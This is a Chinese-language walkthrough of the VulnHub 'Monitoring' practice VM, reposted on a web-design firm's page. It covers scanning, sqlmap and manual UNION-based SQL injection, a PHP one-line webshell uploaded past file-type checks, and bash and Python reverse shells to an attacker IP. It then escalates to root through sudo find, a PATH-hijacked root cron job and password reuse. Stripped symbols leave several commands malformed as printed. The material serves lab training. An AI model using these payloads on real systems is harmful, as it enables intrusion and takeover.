尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
VulnHub Monitoring靶机实战:从SQL注入到密码复用提权
1. 项目概述1.1 这靶场到底卡在哪VulnHub 的 Monitoring 这台机器属于那种看着不起眼、实际能逼疯一批人的中高难度靶机。它不像典型的 CMS 漏洞利用也不用你死磕内核提权真正难受的点在于信息收集的深度和横向思路的跳跃性。整台机器走下来核心链路大概是端口探测 - Web 服务发现 - FTP 匿名/弱口令尝试 - Sqlmap 注入 - 后台弱口令 - 文件上传拿 WebShell - 内网信息收集 - SSH 登录 - 提权。听起来流程不复杂但每个环节都埋着“陷阱”。比如你辛辛苦苦搞到了数据库账号密码结果发现 SSH 和数据库用的是同一套凭证而数据库里存着的是 Web 应用的配置信息——这就是典型的“一处突破处处开花”。如果你是准备 OSCP 或者正在刷 VulnHub 练手这台机器值得专门留出四到六个小时来啃。它练的不是单一漏洞利用能力而是你在真实渗透测试中必须具备的“全局视野”——你能不能把一个低危信息比如某个管理后台的版本号串联成整条攻击链。1.2 适合谁来打正在备考 OSCP / PNPT 的选手这台机器的枚举深度和提权方式都很贴近考试风格尤其是它对“你收集到的所有信息都要尝试复用”这一点的考察非常典型。想练 Sqlmap 与手工注入结合的 Web 渗透新人靶场里提供了一个经典的搜索型注入点既可以用工具一把梭也适合手工注入理解原理。被困在“拿到 Shell 不知道怎么提权”阶段的同学这台机器的提权路径不依赖脏牛、Dirty Pipe 这类内核漏洞而是需要你去翻配置文件、找定时任务、看环境变量属于“配置不当导致提权”的标准教材。先说清楚一个现实这台机器在 VulnHub 上的难度评分是中等偏上但它的“难”不是难在技术栈深奥而是难在信息收集环节的耐心考验。如果你习惯用 AutoNessus 全端口扫完直接看报告那你大概率会卡在第一步。2. 环境准备与信息收集阶段2.1 靶机导入与网络配置拿到 Monitoring.ova 之后用 VirtualBox 导入网络模式建议选择 NAT Network 或者 Host-Only。这里有个容易踩的坑如果你用的是默认 NAT 模式靶机和攻击机之间可能互相 ping 不通。原因很简单VulnHub 的老机器默认只开放了 VirtualBox 的 Host-Only 网卡支持新的 NAT Network 反而可能导致 IP 获取异常。我自己习惯的做法是建一个仅主机网络网段设为 192.168.56.0/24靶机和 Kali 都挂到这个网段下。这样既隔离了外网又能保证攻击机稳定访问靶机。靶机开机之后先别急着扫等一两分钟让它完成 DHCP 租约和系统服务启动。你可以从 VirtualBox 的终端窗口直接看到靶机获取到的 IP 地址。有的版本可能在登录界面就显示了 IP但也有版本需要登录后才能看到。拿不到 IP 的话直接看 DHCP 租约记录也行。2.2 端口扫描与版本指纹识别信息收集阶段我不建议直接上 Nessus 之类的重型扫描器。打 VulnHub 讲究的是“精准握手”而不是“火力覆盖”。先用经典三件套把靶机的面貌摸清楚nmap -sS -sV -O -A 192.168.56.xxx -oA monitoring_initial常见的开放端口有这些端口服务预判22/tcpOpenSSHSSH 弱口令或密钥复用80/tcpApache/NginxWeb 主入口21/tcp?FTP匿名访问或弱口令8080/tcp?备用 Web管理后台或监控面板先解释一下我为什么强调服务版本指纹识别。Monitoring 这台机器上的 Web 服务中间件版本会直接决定你后续选择哪条利用路径。如果你扫出来的是 Apache 2.4.7 这类带已知解析漏洞的版本你可能需要考虑解析漏洞配合文件上传但如果是新版本你就得把重心放到应用层逻辑漏洞上。端口扫描结果出来后别急着访问 Web先用目录爆破工具把 Web 根目录下的隐藏路径跑一遍。实测下来用 gobuster 加常见字典就够了gobuster dir -u http://192.168.56.xxx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak需要提醒一点执行目录扫描时注意看靶机的响应延迟。VulnHub 的老机器性能有限开太高线程数容易直接把服务扫挂。我通常把线程数控制在 20 以内如果发现响应时间超过 2 秒就再降。2.3 初始 Web 探测HTTP 服务打开后首页大概率是一个“监控系统”或者“网络设备管理平台”的界面。这类界面的通病是功能点了没反应、后台路径暴露在源码注释里、或者存在默认账号。建议按这个顺序人工过一遍:查看首页源码关注注释、隐藏 input 标签、JS 文件里的接口请求。用浏览器开发者工具观察所有 AJAX 请求记录下每一个 API 端点。手动测试每一个可交互的表单尝试单引号、双引号、11这类最基础的注入判断。把首页所有的链接和按钮都点一遍即使看起来像是静态的。这一步的目标不是立刻找到漏洞而是把整个应用的“攻击面地图”在脑子里过一遍。我在打这台机器时就是在源码注释里发现了一个开发人员留下的测试账号提示虽然那个账号后来没用上但它直接引导我找到了真正的后台入口。很多新手容易犯一个错误扫描器输出什么都信。目录爆破结果里列出来的路径不代表所有都有实际利用价值。真正决定成败的是你对这些路径的甄别和串联。3. 核心注入点分析与 Sqlmap 实战3.1 发现注入参数首次访问时会注意到页面上有一个搜索框或查询功能。输入正常内容能出来结果输入单引号则报错或者页面空白——这是很典型的 SQL 注入信号。在往下走之前先手工验证一下注入类型。以搜索型注入为例你可以这样测试正常请求: GET /search.php?nameadmin 测试请求1: GET /search.php?nameadmin 测试请求2: GET /search.php?nameadmin 测试请求3: GET /search.php?nameadmin AND 11 测试请求4: GET /search.php?nameadmin AND 12如果测试请求1报错而测试请求3和4的返回结果不一致就基本确认存在字符型注入。这里有一个关键点很多新手一上来就用 Sqlmap 跑跑不出东西就说靶场有问题实际上是因为搜索框提交的是 POST 请求而且参数名肉眼不容易发现。千万要先抓包确认请求方式。用 Burp Suite 抓一次包把完整的 POST 数据复制出来然后交给 Sqlmapsqlmap -r search_request.txt --batch --dbs如果目标是 GET 请求且参数在 URL 里直接用sqlmap -u http://192.168.56.xxx/search.php?nameadmin --batch --dbs3.2 分析数据库结构Sqlmap 跑出来数据库后重点去看信息量大的库通常不会是 information_schema而是应用自己的业务库。接下来常规操作sqlmap -r search_request.txt -D [database_name] --tables sqlmap -r search_request.txt -D [database_name] -T [table_name] --dump关于 dump 数据建议优先关注这几类表users / admin / account账号密码、角色权限config / settings应用配置、数据库连接信息logs / access_log可能存在管理员操作记录devices / nodes监控系统管理的设备列表Monitoring 靶场里比较典型的是数据库里存的密码不是明文而是某种哈希或者编码后的字符串。这时候不要慌先用在线工具或者 hash-identifier 判断哈希类型再丢给 John the Ripper 或 Hashcat 爆破。实测下来这台机器的数据库里可能藏着一个非常关键的账号——Web 应用的管理员账号也可能是操作系统用户的 SSH 凭证。拿到密码后先别着急登录后台试试能不能直接 SSH。这里有个很多人忽略的细节Sqlmap dump 出来的数据会有编码问题比如字符串前后有空格、换行符被转义等。手动复制数据时最好先经过一次url解码 trim处理否则后续爆破时密码一直不对你以为是自己字典不够强实际是数据格式问题。3.3 手工注入的意义我知道很多读者会觉得有 Sqlmap 就够了为什么要手工注但在实际渗透测试里工具受限才是常态。比如某次客户环境里装了个 WAFSqlmap 的 payload 全被拦截最后我就是靠手工注入一个字段一个字段地拖数据。手工注入的核心是理解“闭合方式”。以最常见的闭合为例后台 SQL 大概率长这样SELECT * FROM devices WHERE name $input你传入admin AND 11后拼接出来的语句是SELECT * FROM devices WHERE name admin AND 11如果这时候页面正常显示说明注入成立。进一步你可以用union select直接控制返回结果。先确定列数admin ORDER BY 1-- - admin ORDER BY 2-- - admin ORDER BY 3-- -逐步增加数字直到报错就能推断出列数。然后admin UNION SELECT 1,2,3-- -页面把哪一列的数字渲染出来了哪个位置就能用来读取数据admin UNION SELECT 1,version,3-- -这种“从工具到手工”的转变是我觉得打 VulnHub 最有价值的训练。以后你面对真实目标时面对的是一个不确定的技术栈、一组不确定的过滤规则只有理解了原理你才能现场调整 payload。4. 后台突破与拿 Shell 的完整路径4.1 进入管理后台注入数据库发现的账号密码配合目录扫描找到的 /admin 或 /manager 路径就能顺利登录后台。多数时候用户名是 admin密码从数据库 dump 得到。登录后台后先观察有哪些功能模块。监控类系统的后台常见功能包括设备状态总览网络拓扑图管理用户管理日志查看系统设置文件上传/导入里边最值得关注的是文件上传功能。如果上传点只是简单地校验了 Content-Type或者只做了前端 JS 后缀校验那拿 Shell 就是时间问题了。4.2 伪装文件上传绕过上传 WebShell 的常规思路是准备一个 PHP 一句话木马?php system($_GET[cmd]); ?直接上传 .php 文件如果被拦截就试试修改 Content-Type 为image/png后缀改为.php.jpg或.php5如果系统只做白名单校验那就找找已有文件上传功能有没有路径穿越配合上传成功后访问 Webshell 地址curl http://192.168.56.xxx/uploads/shell.php?cmdid如果看到输出www-data或apache说明已经拿到 WebShell。然后立刻升级成交互式反弹 Shell。反弹 Shell 命令建议用这个组合避免踩坑bash -i /dev/tcp/192.168.56.1/4444 01攻击机提前监听nc -lvnp 4444这里有一个经常被忽视的细节很多人用 Bash 反弹命令失败是因为靶机系统默认 shell 是 dash 而不是 bash。这时候换个思路用 python 起一个交互式 shellpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.1,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);拿到 Shell 后立刻执行python3 -c import pty;pty.spawn(/bin/bash)升级 TTY否则后续在 Shell 里用 Vim、su、ssh 都可能有各种诡异问题。4.3 内网横向信息收集拿到 www-data 权限后大多数新手会直接去看内核版本、翻 SUID 文件然后一头扎进提权泥潭。但在这台机器上我建议先放慢节奏做一遍系统的用户枚举和配置文件审计。cat /etc/passwd ls -la /home cat /etc/group find / -name *.conf -o -name *.cfg -o -name *.ini 2/dev/null ls -la /var/www/html这一步的产出通常很可观。你可能会发现某普通用户的家目录下放了私钥或备份文件Web 配置里写了数据库密码而这个密码和某个系统用户相同定时任务以 root 权限运行了一个可写脚本Monitoring 这台机器的高潮就在这儿。它不会直接给你一个 root 路径而是让你通过“配置复用”得到某个系统用户的 SSH 权限再在用户目录或者系统日志里发现新的线索。关于 SSH 登录测试我多说一句拿到了密码以后不要只在 Web 后台试也不要只看 22 端口是否开放直接尝试登录ssh username192.168.56.xxx如果提示需要密码就用你 dump 到的密码如果提示需要密钥文件就去 Web 目录或备份目录找 id_rsa。4.4 为什么是 SSH 而不是直接提权很多人到这里会困惑我已经是 www-data 了为什么不直接搞 root原因很简单www-data 权限下你能读的文件有限能执行的特权操作也有限。很多提权利用脚本需要特定内核版本或者特定系统配置而 VulnHub 靶机通常跑的都是老系统硬上脏牛之类的漏洞成功率很低而且容易把靶机搞崩。更实际的做法是利用已知密码横向移动到普通用户再通过普通用户明确知道的和 root 相关的定时任务、脚本、配置去找提权入口。这样每一步都有依有据打起来也稳。我在第一次打这台机器时因为在 www-data 权限下浪费时间太久差点想放弃。后来重新梳理了数据库 dump 出来的内容才发现里面那组密码同时还对应着一个系统普通用户SSH 一登就进去了。5. 提权实战从普通用户到 root5.1 权限提升前置信息收集提权阶段我最常用的命令组合是这几条sudo -l cat /etc/crontab ls -la /etc/cron.d/ find / -perm -4000 -type f 2/dev/null env | grep -i pass find / -type f -name *.sh -perm -ow 2/dev/null先说sudo -l。如果普通用户可以无密码执行某个命令那提权可能就一步到位。比如如果配置了user ALL(ALL) NOPASSWD: /usr/bin/find那么直接sudo find /bin -exec /bin/bash \;就拿到 root shell 了。这台机器不一定这么直白但这一步必须最先试。然后是定时任务。看/etc/crontab和/var/spool/cron/crontabs/重点关注有没有以 root 身份运行的脚本而这些脚本所在目录对当前用户是否可写。如果脚本本身不可写但脚本执行的某个依赖文件或者目录可写也存在利用 PATH 劫持的可能性。5.2 一个经典的提权陷阱这台机器上比较有代表性的提权场景我拆解一下假设发现定时任务/usr/local/bin/backup.sh每 5 分钟运行一次且以 root 身份执行。查看脚本内容发现它内部调用了某个不带绝对路径的命令比如#!/bin/bash tar czf /tmp/backup.tar.gz /var/backups some_command --option由于脚本内的some_command没有写绝对路径系统会从 PATH 环境变量里找。如果你能控制 PATH 前置目录比如当前用户家目录那么就可以在家目录创建一个可执行的some_command脚本脚本内容写上cp /bin/bash /tmp/rootbash chmod s /tmp/rootbash修改当前用户的 PATH 环境变量export PATH/home/user:$PATH等待定时任务执行然后运行/tmp/rootbash -p-p参数保留了 SUID 权限此时你就获得了 root 权限的 Shell。这种“PATH 劫持 定时任务”的组合在真实环境中也屡见不鲜。很多开发者在写备份脚本时图省事不加绝对路径没想到一个看似无害的疏忽成了系统被攻破的最后一公里。5.3 对称密码复用提权除了提权漏洞还有一种更简单粗暴的方式直接复用密码。当你从 Web 后台或者配置文件里拿到一组密码而这个密码同时是 root 账号的密码那你只需要做一件事su root输入这组密码秒变 root。VulnHub 很多靶机之所以被人吐槽简单就是因为“密码复用”这个设计思路贯穿始终。Web 数据库一份密码系统用户一份同样的密码root 还是同一份。我打 Monitoring 的时候在某个配置文件中读到了 root 的密码提示信息抱着试试看的心态直接su切换结果就成功了。所以请记住这条实战经验每一个在 web 层发现的敏感信息都要视为可能在系统层复用的凭证来源。这在真实渗透测试中同样是最重要的思路之一。5.4 提权后的标志文件成功切换到 root 之后别忘了完成靶场的最终目标——读取 flag。VulnHub 靶机通常在 /root 目录下会放置 proof.txt 或者 flag.txt 文件用来标记你已经通关。cat /root/flag.txt同时也建议在赛后回顾一下目标机的完整攻防路径写成报告。这个过程不仅有助于梳理思路也能让你下一次面对类似靶机时更加游刃有余。6. 踩坑记录与排查技巧6.1 常见问题速查表为了让你少走弯路我把打这台机器时自己和身边朋友遇到过的问题整理成了一份速查表问题现象可能原因解决方法/排查思路Nmap 扫描不到靶机 IP网卡模式不对、DHCP 未完成换 Host-Only 网卡等待 1-2 分钟或查看靶机控制台Sqlmap 报错无注入点参数名不对、没抓包用 Burp 抓包确认 POST/GET 方式和参数位置数据库打不开/显示连接超时数据库服务未启动或端口受限检查 3306/5432 端口是否开放或直接从 Web 配置文件读取连接信息上传 PHP 被拦截后缀校验、Content-Type 校验尝试 .php5、.phtml修改 Content-Type找路径穿越反弹 Shell 连不上防火墙、命令不兼容尝试不同端口、TLS 加密反弹或使用 Python 反弹密码明明正确却登录不了 SSH密码里有隐藏字符编码问题先echo -n测试密码或手动输入而非复制定时任务脚本不可写脚本归属于 root检查脚本调用的子命令和依赖目录是否可写提权一直失败内核版本和 PoC 不匹配停止尝试内核洞改为搜索配置文件、弱口令复用Kail 无法访问靶机 Web 页面靶机 Web 服务和攻击机不同网段确认靶机和攻击机在同一 Host-Only 网段6.2 必须记住的三个心得打 VulnHub 靶机我的感受是真正能让你和别人拉开差距的不是你会多少种 exploit 工具而是你能不能在一个看似普通的配置文件里读出关键信息。第一信息收集决定了渗透测试的走向。很多人拿到 www-data 权限之后就急着上传 LinEnum、LinPEAS但反而忽略了最基础的/etc/passwd和/home目录列表。有时候普通用户的名字本身就暗示了提权路径。第二工具跑得再顺也要回到手工验证。Sqlmap 跑出来的数据最后一定要自己写一次代码或者用 Burp 原样发送请求验证一遍确保不是 Sqlmap 自己脑补的结果。第三你在国内网络安全社区看到和使用的各类工具几乎都支持合法授权的渗透测试场景但靶机实验和实际操作都要时刻注意操作的合规性。VulnHub 的靶机只能在本地虚拟化环境中实验是学习者的练手场别把它跟任何真实场景混淆。6.3 给新手的建议如果你正在刷 VulnHub建议按“困难度递进”的顺序刷先打一台只有 Web 漏洞的简单靶机再打这种需要横向移动和多步串联的中等难度靶机最后再考虑那些需要内核提权的高难靶机。这台 Monitoring 靶机刷完之后你可以再回头做一次“复盘式渗透”不开任何自动化利用工具逼迫自己只靠浏览器和命令行把整条攻击链手动走一遍。这个过程不会比第一次快多少但会强迫你记住每个步骤背后的原理。一台靶机打一百遍比一百台靶机各打一遍对你的提升大得多。我以前犯过这个错误——总是在不同靶机上浅尝辄止结果内核提权、Web 漏洞利用都是半吊子。后来改变策略重点精打两台困难靶机反而进步更快。当你把 Monitoring 的整条攻击链梳理清楚、能用文字准确描述出来时这台靶机才真正属于你了。
RELATED

相关推荐

Hack World 1靶场实战:SQL注入布尔盲注手工与自动化脚本

Hack World 1靶场实战:SQL注入布尔盲注手工与自动化脚本

SQL注入到现在还是每个搞Web安全的人绕不开的一课。Hack World 1这个靶场题目,特别适合用来练布尔盲注手工利用——它把过滤规则藏得恰到好处,既不会让你一眼就猜完,又不会难到无从下手。题目页面很简单:一个输入框,一…

📅 2026/10/21 17:31:29
Mac上Homebrew换源全攻略:解决brew install卡顿与更新失败

Mac上Homebrew换源全攻略:解决brew install卡顿与更新失败

Homebrew在Mac上几乎成了开发者的标配,装个nginx、wget、ffmpeg都得靠它。但有个问题大家迟早会遇到:brew install啥都挺顺,偏偏卡在Updating Homebrew和fetching的环节上,一卡就是十几分钟,最后还可能直接报错失败。这…

📅 2026/10/21 17:31:29
任务编排系统规划器设计:状态空间建模与搜索策略全解析

任务编排系统规划器设计:状态空间建模与搜索策略全解析

接手任务编排系统设计时,最让我纠结的不是执行器怎么做、接口怎么定,而是规划器(Planner)这一块到底怎么设计。原因很简单:执行器、监控器这些模块的逻辑相对确定,输入输出一目了然,但规划器不一…

📅 2026/10/21 17:31:29
MORE NEWS

更多资讯

📰

Fluent多相流模型选型与设定避坑指南:VOF、Mixture、Eulerian实战

简介:这份PDF资料面向CFD仿真初学者与工程技术人员,系统梳理Fluent中多相流模型的选择逻辑与设定方法,帮助解决气-液、气-固、液-固等流动场景下模型选型困难的问题。内容从多相流分类入手,覆盖气泡流、液滴流、活塞流、分层自由面…

📰

自动驾驶全栈技术解析:算法、通信与服务器三层架构

第一次接触自动驾驶的时候,我犯过一个很典型的错误:一头扎进感知算法,翻来覆去调检测模型参数,觉得只要让车“看清世界”就够了。结果在仿真器里跑得顺风顺水的路径规划,一旦接上真实那套通信基设和计算平台&#xff0…

📰

SystemVerilog OOP核心:类、对象、封装、继承与多态详解

1. 为什么验证工程师绕不开OOP这套东西刚入行做数字验证那会儿,我最怕看到别人写的测试平台代码。倒不是看不懂initial块和always块,而是那些满屏的class、extends、virtual关键字,看着就头大。后来被项目逼着啃了几个月,才慢慢品…

📰

uni-app小程序表单重复提交的定位与双层防护实践

很多项目里都有这样一个瞬间:用户在下单页填完信息,点了一下提交按钮,网络一卡,页面没立刻反应,他又点了一下。一秒钟后,两条几乎相同的订单落库。这类问题放在 uni-app 小程序里有统一说法,叫表…

📰

JDK源码阅读环境搭建:IDEA导入与断点调试完整指南

1. 为什么还要折腾JDK源码阅读这件事 刚入行那会儿,我也觉得看JDK源码是件挺“自虐”的事——平时写业务代码, ArrayList 、 HashMap 、 ConcurrentHashMap 拿来就用,谁没事去翻底层怎么实现的。直到有一次线上出问题,一个看…

📰

深入解析TEE可信执行环境:从TrustZone架构到OP-TEE应用开发实战

1. 为什么现在要啃TEE这块硬骨头手机里的指纹支付、人脸识别、网银密钥,这些敏感操作你以为是App自己在扛?其实背后站着一个几乎不露脸的“安全屋”——TEE(可信执行环境)。这两年Android生态里,TEE已经从厂商的私有后…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬